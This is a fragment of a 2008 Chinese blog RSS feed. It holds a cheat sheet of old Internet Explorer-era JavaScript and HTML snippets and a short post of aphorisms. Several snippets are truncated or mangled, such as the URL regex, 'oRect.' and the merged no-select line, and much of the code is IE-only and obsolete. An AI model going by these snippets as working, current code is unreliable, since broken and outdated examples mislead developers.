<description><![CDATA[事件源对象 <br>event.srcElement.tagName <br>event.srcElement.type <br>捕获释放 <br>event.srcElement.setCapture();  <br>event.srcElement.releaseCapture();   <br>事件按键 <br>event.keyCode <br>event.shiftKey <br>event.altKey <br>event.ctrlKey <br>事件返回值 <br>event.returnValue <br>鼠标位置 <br>event.x <br>event.y <br>窗体活动元素 <br>document.activeElement <br>绑定事件 <br>document.captureEvents(Event.KEYDOWN); <br>访问窗体元素 <br>document.all(&quot;txt&quot;).focus(); <br>document.all(&quot;txt&quot;).select(); <br>窗体命令 <br>document.execCommand <br>窗体COOKIE <br>document.cookie <br>菜单事件 <br>document.oncontextmenu <br>创建元素 <br>document.createElement(&quot;SPAN&quot;);   <br>根据鼠标获得元素： <br>document.elementFromPoint(event.x,event.y).tagName==&quot;TD <br>document.elementFromPoint(event.x,event.y).appendChild(ms)   <br>窗体图片 <br>document.images[索引] <br>窗体事件绑定 <br>document.onmousedown=scrollwindow; <br>元素 <br>document.窗体.elements[索引] <br>对象绑定事件 <br>document.all.xxx.detachEvent('onclick',a); <br>插件数目 <br>navigator.plugins <br>取变量类型 <br>typeof($js_libpath) == &quot;undefined&quot; <br>下拉框 <br>下拉框.options[索引] <br>下拉框.options.length <br>查找对象 <br>document.getElementsByName(&quot;r1&quot;); <br>document.getElementById(id); <br>定时 <br>timer=setInterval('scrollwindow()',delay); <br>clearInterval(timer); <br>UNCODE编码 <br>escape() ,unescape <br>父对象 <br>obj.parentElement(dhtml) <br>obj.parentNode(dom) <br>交换表的行 <br>TableID.moveRow(2,1) <br>替换CSS <br>document.all.csss.href = &quot;a.css&quot;; <br>并排显示 <br>display:inline <br>隐藏焦点 <br>hidefocus=true <br>根据宽度换行 <br>style=&quot;word-break:break-all&quot; <br>自动刷新 <br>&lt;meta HTTP-EQUIV=&quot;refresh&quot; C&gt; <br>简单邮件 <br>&lt;a  href=&quot;[email=aaa@bbb.com?subject=ccc&amp;body=xxxyyy]mailto:aaa@bbb.com?subject=ccc&amp;body=xxxyyy[/email]&quot;&gt;   <br>快速转到位置 <br>obj.scrollIntoView(true) <br>锚 <br>&lt;a name=&quot;first&quot;&gt; <br>&lt;a href=&quot;#first&quot;&gt;anchors&lt;/a&gt; <br>网页传递参数 <br>location.search(); <br>可编辑 <br>obj.contenteditable=true <br>执行菜单命令 <br>obj.execCommand <br>双字节字符 <br>/[^\x00-\xff]/ <br>汉字 <br>/[\u4e00-\u9fa5]/ <br>让英文字符串超出表格宽度自动换行 <br>word-wrap: break-word; word-break: break-all; <br>透明背景 <br>&lt;IFRAME src=&quot;1.htm&quot; width=300 height=180 allowtransparency&gt;&lt;/iframe&gt; <br>获得style内容 <br>obj.style.cssText <br>HTML标签 <br>document.documentElement.innerHTML <br>第一个style标签 <br>document.styleSheets[0] <br>style标签里的第一个样式 <br>document.styleSheets[0].rules[0] <br>防止点击空链接时，页面往往重置到页首端。 <br>&lt;a href=&quot;javascript:function()&quot;&gt;word&lt;/a&gt; <br>上一网页源 <br>asp: <br>request.servervariables(&quot;HTTP_REFERER&quot;) <br>javascript: <br>document.referrer <br>释放内存 <br>CollectGarbage(); <br>禁止右键 <br>document.oncontextmenu = function() { return false;} <br>禁止保存 <br>&lt;noscript&gt;&lt;iframe src=&quot;*.htm&quot;&gt;&lt;/iframe&gt;&lt;/noscript&gt; <br>禁止选取&lt;body      Shortcut Icon&quot; href=&quot;favicon.ico&quot;&gt; <br>favicon.ico 名字最好不变16*16的16色,放虚拟目录根目录下 <br>收藏栏图标 <br>&lt;link rel=&quot;Bookmark&quot; href=&quot;favicon.ico&quot;&gt; <br>查看源码 <br>&lt;input type=button value=查看网页源代码 &gt; <br>关闭输入法 <br>&lt;input style=&quot;ime-mode:disabled&quot;&gt; <br>自动全选 <br>&lt;input type=text name=text1 value=&quot;123&quot; &gt; <br>ENTER键可以让光标移到下一个输入框 <br>&lt;input &gt; <br>文本框的默认值 <br>&lt;input type=text value=&quot;123&quot; &gt; <br>title换行 <br>obj.title = &quot;123 sdfs &quot; <br>获得时间所代表的微秒 <br>var n1 = new Date(&quot;2004-10-10&quot;.replace(/-/g, &quot;\/&quot;)).getTime() <br>窗口是否关闭 <br>win.closed <br>checkbox扁平 <br>&lt;input type=checkbox style=&quot;position: absolute; clip:rect(5px 15px 15px 5px)&quot;&gt;&lt;br&gt; <br>获取选中内容 <br>document.selection.createRange().duplicate().text <br>自动完成功能 <br>&lt;input  type=text  autocomplete=on&gt;打开该功能  <br>&lt;input  type=text  autocomplete=off&gt;关闭该功能 <br>窗口最大化 <br>&lt;body &gt; <br>无关闭按钮IE window.open(&quot;aa.htm&quot;, &quot;meizz&quot;, &quot;fullscreen=7&quot;); <br>统一编码/解码 alert(decodeURIComponent(encodeURIComponent(&quot;http://你好.com?as= hehe&quot;))) <br>encodeURIComponent对&quot;:&quot;、&quot;/&quot;、&quot;;&quot; 和 &quot;?&quot;也编码 <br>高级应用(一) <br>//各种尺寸 <br>s  +=  &quot;\r\n网页可见区域宽：&quot;+  document.body.clientWidth;   <br>s  +=  &quot;\r\n网页可见区域高：&quot;+  document.body.clientHeight;   <br>s  +=  &quot;\r\n网页可见区域高：&quot;+  document.body.offsetWeight  +&quot;  (包括边线的宽)&quot;;   <br>s  +=  &quot;\r\n网页可见区域高：&quot;+  document.body.offsetHeight  +&quot;  (包括边线的宽)&quot;;   <br>s  +=  &quot;\r\n网页正文全文宽：&quot;+  document.body.scrollWidth;   <br>s  +=  &quot;\r\n网页正文全文高：&quot;+  document.body.scrollHeight;   <br>s  +=  &quot;\r\n网页被卷去的高：&quot;+  document.body.scrollTop;   <br>s  +=  &quot;\r\n网页被卷去的左：&quot;+  document.body.scrollLeft;   <br>s  +=  &quot;\r\n网页正文部分上：&quot;+  window.screenTop;   <br>s  +=  &quot;\r\n网页正文部分左：&quot;+  window.screenLeft;   <br>s  +=  &quot;\r\n屏幕分辨率的高：&quot;+  window.screen.height;   <br>s  +=  &quot;\r\n屏幕分辨率的宽：&quot;+  window.screen.width;   <br>s  +=  &quot;\r\n屏幕可用工作区高度：&quot;+  window.screen.availHeight;   <br>s  +=  &quot;\r\n屏幕可用工作区宽度：&quot;+  window.screen.availWidth;   <br><br>//过滤数字 <br>&lt;input type=text onkeypress=&quot;return event.keyCode&gt;=48&amp;&amp;event.keyCode&lt;=57||(this.value.indexOf('.')&lt;0?event.keyCode==46:false)&quot; onpaste=&quot;return !clipboardData.getData('text').match(/\D/)&quot; ondragenter=&quot;return false&quot;&gt; <br>//特殊用途 <br>&lt;input type=button value=导入收藏夹 onclick=&quot;window.external.ImportExportFavorites(true,'http://localhost');&quot;&gt; <br>&lt;input type=button value=导出收藏夹 onclick=&quot;window.external.ImportExportFavorites(false,'http://localhost');&quot;&gt; <br>&lt;input type=button value=整理收藏夹 onclick=&quot;window.external.ShowBrowserUI('OrganizeFavorites', null)&quot;&gt; <br>&lt;input type=button value=语言设置   onclick=&quot;window.external.ShowBrowserUI('LanguageDialog', null)&quot;&gt; <br>&lt;input type=button value=加入收藏夹 onclick=&quot;window.external.AddFavorite('http://www.google.com/', 'google')&quot;&gt; <br>&lt;input type=button value=加入到频道 onclick=&quot;window.external.addChannel('http://www.google.com/')&quot;&gt; <br>&lt;input type=button value=加入到频道 onclick=&quot;window.external.showBrowserUI('PrivacySettings',null)&quot;&gt; <br>//不缓存 <br>&lt;META HTTP-EQUIV=&quot;pragma&quot; CONTENT=&quot;no-cache&quot;&gt; <br>&lt;META HTTP-EQUIV=&quot;Cache-Control&quot; CONTENT=&quot;no-cache, must-revalidate&quot;&gt; <br>&lt;META HTTP-EQUIV=&quot;expires&quot; CONTENT=&quot;0&quot;&gt; <br>//正则匹配 <br>匹配中文字符的正则表达式： [\u4e00-\u9fa5] <br>匹配双字节字符(包括汉字在内)：[^\x00-\xff] <br>匹配空行的正则表达式：\n[\s| ]*\r <br>匹配HTML标记的正则表达式：/&lt;(.*)&gt;.*&lt;\/\1&gt;|&lt;(.*) \/&gt;/  <br>匹配首尾空格的正则表达式：(^\s*)|(\s*$)（像vbscript那样的trim函数） <br>匹配Email地址的正则表达式：\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)* <br>匹配网址URL的正则表达式：[url=http://([/w-]+\.)+[\w-]+(/[\w]http://([\w-]+\.)+[\w-]+(/[\w[/url]- ./?%&amp;=]*)? <br>以下是例子： <br>利用正则表达式限制网页表单里的文本框输入内容： <br>用正则表达式限制只能输入中文：onkeyup=&quot;value=value.replace(/[^\u4E00-\u9FA5]/g,'')&quot; onbeforepaste=&quot;clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,''))&quot; <br>1.用正则表达式限制只能输入全角字符： onkeyup=&quot;value=value.replace(/[^\uFF00-\uFFFF]/g,'')&quot; onbeforepaste=&quot;clipboardData.setData('text',clipboardData.getData('text').replace(/[^\uFF00-\uFFFF]/g,''))&quot; <br>2.用正则表达式限制只能输入数字：onkeyup=&quot;value=value.replace(/[^\d]/g,'') &quot;onbeforepaste=&quot;clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))&quot; <br>3.用正则表达式限制只能输入数字和英文：onkeyup=&quot;value=value.replace(/[\W]/g,'') &quot;onbeforepaste=&quot;clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))&quot; <br>//消除图像工具栏<br>&lt;IMG SRC=&quot;mypicture.jpg&quot; HEIGHT=&quot;100px&quot; WIDTH=&quot;100px&quot; GALLERYIMG=&quot;false&quot;&gt;  <br>or <br>&lt;head&gt; <br>&lt;meta http-equiv=&quot;imagetoolbar&quot; content=&quot;no&quot;&gt; <br>&lt;/head&gt; <br>//无提示关闭 <br>function Close() <br>{ <br>var ua=navigator.userAgent <br>var ie=navigator.appName==&quot;Microsoft Internet Explorer&quot;?true:false <br>if(ie) <br>{ <br>      var IEversion=parseFloat(ua.substring(ua.indexOf(&quot;MSIE &quot;)+5,ua.indexOf(&quot;;&quot;,ua.indexOf(&quot;MSIE &quot;)))) <br>  if(IEversion&lt; 5.5) <br>  { <br>   var str  = '&lt;object id=noTipClose classid=&quot;clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11&quot;&gt;' <br>       str += '&lt;param name=&quot;Command&quot; value=&quot;Close&quot;&gt;&lt;/object&gt;'; <br>       document.body.insertAdjacentHTML(&quot;beforeEnd&quot;, str); <br>       document.all.noTipClose.Click(); <br>  } <br>      else <br>  { <br>       window.opener =null; <br>       window.close(); <br>      } <br>   } <br>else <br>{ <br>  window.close() <br>   } <br>} <br><br>//取得控件得绝对位置(1) <br>&lt;script language=&quot;javascript&quot;&gt;  <br>function getoffset(e) <br>{  <br>var t=e.offsetTop;  <br>var l=e.offsetLeft;  <br>while(e=e.offsetParent) <br>{  <br>  t+=e.offsetTop;  <br>  l+=e.offsetLeft;  <br>}  <br>var rec = new Array(1); <br>rec[0]  = t; <br>rec[1] = l; <br>return rec <br>}  <br>&lt;/script&gt; <br><br>//获得控件的绝对位置(2) <br>oRect = obj.getBoundingClientRect(); <br>oRect.left <br>oRect. <br>//最小化,最大化,关闭<br>&lt;object id=min classid=&quot;clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11&quot;&gt;  <br>&lt;param name=&quot;Command&quot; value=&quot;Minimize&quot;&gt;&lt;/object&gt;  <br>&lt;object id=max classid=&quot;clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11&quot;&gt;  <br>&lt;param name=&quot;Command&quot; value=&quot;Maximize&quot;&gt;&lt;/object&gt;  <br>&lt;OBJECT id=close classid=&quot;clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11&quot;&gt;  <br>&lt;PARAM NAME=&quot;Command&quot; value=&quot;Close&quot;&gt;&lt;/OBJECT&gt;  <br>&lt;input type=button value=最小化 onclick=min.Click()&gt;  <br>&lt;input type=button value=最大化 onclick=max.Click()&gt;  <br>&lt;input type=button value=关闭 onclick=close.Click()&gt;  <br>//光标停在文字最后 <br>&lt;script language=&quot;javascript&quot;&gt; <br>function cc() <br>{ <br>var e = event.srcElement; <br>var r =e.createTextRange(); <br>r.moveStart('character',e.value.length); <br>r.collapse(true); <br>r.select(); <br>} <br>&lt;/script&gt; <br>&lt;input type=text name=text1 value=&quot;123&quot; onfocus=&quot;cc()&quot;&gt; <br>//页面进入和退出的特效 <br>进入页面&lt;meta http-equiv=&quot;Page-Enter&quot; content=&quot;revealTrans(duration=x, transition=y)&quot;&gt; <br>推出页面&lt;meta http-equiv=&quot;Page-Exit&quot; content=&quot;revealTrans(duration=x, transition=y)&quot;&gt;  <br>这个是页面被载入和调出时的一些特效。duration表示特效的持续时间，以秒为单位。transition表示使 <br>用哪种特效，取值为1-23: <br>　　0 矩形缩小  <br>　　1 矩形扩大  <br>　　2 圆形缩小 <br>　　3 圆形扩大  <br>　　4 下到上刷新  <br>　　5 上到下刷新 <br>　　6 左到右刷新  <br>　　7 右到左刷新  <br>　　8 竖百叶窗 <br>　　9 横百叶窗  <br>　　10 错位横百叶窗  <br>　　11 错位竖百叶窗 <br>　　12 点扩散  <br>　　13 左右到中间刷新  <br>　　14 中间到左右刷新 <br>　　15 中间到上下 <br>　　16 上下到中间  <br>　　17 右下到左上 <br>　　18 右上到左下  <br>　　19 左上到右下  <br>　　20 左下到右上 <br>　　21 横条  <br>　　22 竖条  <br>　　23  <br>//网页是否被检索 &lt;meta name=&quot;ROBOTS&quot; content=&quot;属性值&quot;&gt; <br>　　其中属性值有以下一些: <br>　　属性值为&quot;all&quot;: 文件将被检索，且页上链接可被查询； <br>　　属性值为&quot;none&quot;: 文件不被检索，而且不查询页上的链接； <br>　　属性值为&quot;index&quot;: 文件将被检索； <br>　　属性值为&quot;follow&quot;: 查询页上的链接； <br>　　属性值为&quot;noindex&quot;: 文件不检索，但可被查询链接； <br>　　属性值为&quot;nofollow&quot;:  <br>//打印分页 &lt;p  style=&quot;page-break-after:always&quot;&gt;page1&lt;/p&gt;   <br>&lt;p  style=&quot;page-break-after:always&quot;&gt;page2&lt;/p&gt;   <br><br>//设置打印 <br>&lt;object id=&quot;factory&quot; style=&quot;display:none&quot; viewastext <br>  classid=&quot;clsid:1663ed61-23eb-11d2-b92f-008048fdd814&quot; <br>  codebase=&quot;<a href="http://www.meadroid.com/scriptx/ScriptX.cab#Version=5,60,0,360" target="_blank">http://www.meadroid.com/scriptx/ScriptX.cab#Version=5,60,0,360</a><wbr />&quot; <br>&gt;&lt;/object&gt; <br>&lt;input type=button value=页面设置 onclick=&quot;factory.printing.PageSetup()&quot;&gt; <br>&lt;input type=button value=打印预览 onclick=&quot;factory.printing.Preview()&quot;&gt; <br>  <br>&lt;script language=javascript&gt; <br>function window.onload() <br>{ <br>   // -- advanced features <br>   factory.printing.SetMarginMeasure(2) // measure margins in inches <br>   factory.printing.SetPageRange(false, 1, 3) // need pages from 1 to 3 <br>   factory.printing.printer = &quot;HP DeskJet 870C&quot; <br>   factory.printing.copies = 2 <br>   factory.printing.collate = true <br>   factory.printing.paperSize = &quot;A4&quot; <br>   factory.printing.paperSource = &quot;Manual feed&quot; <br>   // -- basic features <br>   factory.printing.header = &quot;居左显示&amp;b居中显示&amp;b居右显示页码，第&amp;p页/共&amp;P页&quot; <br>   factory.printing.footer = &quot;（自定义页脚）&quot; <br>   factory.printing.portrait = false <br>   factory.printing.leftMargin = 0.75 <br>   factory.printing.topMargin = 1.5 <br>   factory.printing.rightMargin = 0.75 <br>   factory.printing.bottomMargin = 1.5 <br>} <br>function Print(frame) { <br>  factory.printing.Print(true, frame) // print with prompt <br>} <br>&lt;/script&gt; <br>&lt;input type=button value=&quot;打印本页&quot; onclick=&quot;factory.printing.Print(false)&quot;&gt; <br>&lt;input type=button value=&quot;页面设置&quot; onclick=&quot;factory.printing.PageSetup()&quot;&gt; <br>&lt;input type=button value=&quot;打印预览&quot; onclick=&quot;factory.printing.Preview()&quot;&gt;&lt;br&gt; <br>&lt;a href=&quot;<a href="http://www.meadroid.com/scriptx/docs/printdoc.htm?static" target="_blank">http://www.meadroid.com/scriptx/docs/printdoc.htm?static</a><wbr />&quot;  target=_blank&gt;具体使用手册，更多信息，点这里&lt;/a&gt; <br>//自带的打印预览 <br>WebBrowser.ExecWB(1,1) 打开  <br>Web.ExecWB(2,1) 关闭现在所有的IE窗口，并打开一个新窗口  <br>Web.ExecWB(4,1) 保存网页  <br>Web.ExecWB(6,1) 打印  <br>Web.ExecWB(7,1) 打印预览  <br>Web.ExecWB(8,1) 打印页面设置  <br>Web.ExecWB(10,1) 查看页面属性  <br>Web.ExecWB(15,1) 好像是撤销，有待确认  <br>Web.ExecWB(17,1) 全选  <br>Web.ExecWB(22,1) 刷新  <br>Web.ExecWB(45,1) 关闭窗体无提示  <br>&lt;style media=print&gt;  <br>.Noprint{display:none;}&lt;!--用本样式在打印时隐藏非打印项目--&gt; <!--v:3.2--> ]]></description>
<category><![CDATA[实用技术]]></category>
<author><![CDATA[285584@qq.com(青云)]]></author>
<comments>http://285584.qzone.qq.com/blog/1205574248#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Sat, 15 Mar 2008 09:44:08 GMT</pubDate>
<guid>http://285584.qzone.qq.com/blog/1205574248</guid>
</item>

<item>
<title><![CDATA[上帝说:没有灵魂的人总是想和别人一样]]></title>
<link>http://285584.qzone.qq.com/blog/1205557439</link>
<description><![CDATA[上帝说:没有灵魂的人总是想和别人一样,他们做什么事都要先盯着别人.别人成功了,他们就想着去窃取,瓜分.别人失败了,他们就想着去嘲笑,打击. <br> <br>宁执有如须弥山,莫执空如芥子 <br> <br>我本求心心自持,求心不得待心知. <br>若欲求佛但求心,只这心心心是佛. <br>佛性不从心外得,心生便是罪生时. <br>我本求心不求佛,了知三界空无物.<br> <br>╔—————————————╗<br>│男人的谎言可以骗女人的一夜│<br>│女人的谎言可以骗男人的一生│<br>╚————————————㊣╝<br>自助者,天助之;助人者,人助之!<br>修心养性，然后能悟，<br>悟然后能得，得然后能定，<br>定然后能安，安然后能戒，<br>戒然后能行，行然后能知，<br>知然后能思，思然后能明，<br>明然后能通，通然后能慧，<br>慧然后能随心所欲不逾矩. <!--v:3.2--> ]]></description>
<category><![CDATA[天下杂侃]]></category>
<author><![CDATA[285584@qq.com(青云)]]></author>
<comments>http://285584.qzone.qq.com/blog/1205557439#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Sat, 15 Mar 2008 05:03:59 GMT</pubDate>
<guid>http://285584.qzone.qq.com/blog/1205557439</guid>
</item>

</channel>
</rss>

